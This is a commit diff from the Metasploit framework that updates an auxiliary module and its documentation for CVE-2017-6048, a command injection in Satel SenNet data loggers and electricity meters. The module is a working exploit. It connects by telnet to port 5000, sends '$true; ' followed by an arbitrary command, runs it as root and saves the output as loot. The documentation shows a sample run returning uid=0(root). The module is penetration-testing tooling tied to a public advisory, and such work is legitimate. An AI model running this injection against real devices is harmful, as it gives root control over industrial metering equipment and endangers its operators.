Skip to content

Commit af4eafd

Browse files
committed
Updated module and doc
1 parent e65eacc commit af4eafd

File tree

2 files changed

+20
-30
lines changed

2 files changed

+20
-30
lines changed

documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,9 @@
1-
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'.
1+
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'.
2+
3+
The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected:
4+
1. SenNet Optimal DataLogger V5.37c-1.43c and prior,
5+
2. SenNet Solar Datalogger V5.03-1.56a and prior, and
6+
3. SenNet Multitask Meter V5.21a-1.18b and prior.
27

38
## Verification Steps
49

@@ -16,7 +21,7 @@ msf auxiliary(satel_cmd_exec) > run
1621
1722
[*] 1.3.3.7:5000 - Sending command now - id;
1823
[+] 1.3.3.7:5000 - uid=0(root) gid=0(root)
19-
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000004_1.3.3.7_cmdexeclog_528409.txt
24+
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt
2025
[*] Scanned 1 of 1 hosts (100% complete)
2126
[*] Auxiliary module execution completed
2227

modules/auxiliary/scanner/telnet/satel_cmd_exec.rb

Lines changed: 13 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -3,19 +3,24 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Auxiliary
97
include Msf::Exploit::Remote::Telnet
108
include Msf::Auxiliary::Report
119
include Msf::Auxiliary::Scanner
1210

1311
def initialize(info = {})
1412
super(update_info(info,
15-
'Name' => 'Satel SenNet Data Logger Privileged Shell Arbitrary Command Execution Vulnerability',
13+
'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',
1614
'Description' => %q{
17-
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'.
15+
This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters
16+
to perform arbitrary command execution as 'root'.
1817
},
18+
'References' =>
19+
[
20+
[ 'CVE', '2017-6048' ],
21+
[ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],
22+
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ]
23+
],
1924
'Author' =>
2025
[
2126
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
@@ -29,45 +34,25 @@ def initialize(info = {})
2934
[
3035
Opt::RPORT(5000),
3136
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
32-
OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd;'])
37+
OptString.new('CMD', [true, 'Command(s) to run', 'id'])
3338
], self.class
3439
)
3540

3641
deregister_options('USERNAME', 'PASSWORD')
3742
end
3843

39-
def report_cred(opts)
40-
service_data = {
41-
address: opts[:ip],
42-
port: opts[:port],
43-
service_name: opts[:service_name],
44-
protocol: 'tcp',
45-
workspace_id: myworkspace_id
46-
}
47-
48-
login_data = {
49-
last_attempted_at: Time.now,
50-
core: create_credential(credential_data),
51-
status: Metasploit::Model::Login::Status::SUCCESSFUL,
52-
proof: opts[:proof]
53-
}.merge(service_data)
54-
55-
create_credential_login(login_data)
56-
end
57-
5844
def run_host(ip)
5945
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
6046
begin
6147
::Timeout.timeout(to) do
6248
command = datastore['CMD']
63-
inject = '$true; ' + "#{command}"
49+
inject = "$true; #{command}"
6450
res = connect
6551

6652
print_status("Sending command now - #{command}")
6753

6854
sock.puts(inject)
69-
data = sock.get_once(-1, 5)
70-
55+
data = sock.get_once(-1, to)
7156
print_good("#{data}")
7257

7358
loot_name = 'cmd-exec-log'
@@ -77,7 +62,7 @@ def run_host(ip)
7762
print_good("File saved in: #{p}")
7863
end
7964
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
80-
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
65+
print_error("#{rhost}:#{rport} - Connection Failed...")
8166
return false
8267
ensure
8368
disconnect

0 commit comments

Comments
 (0)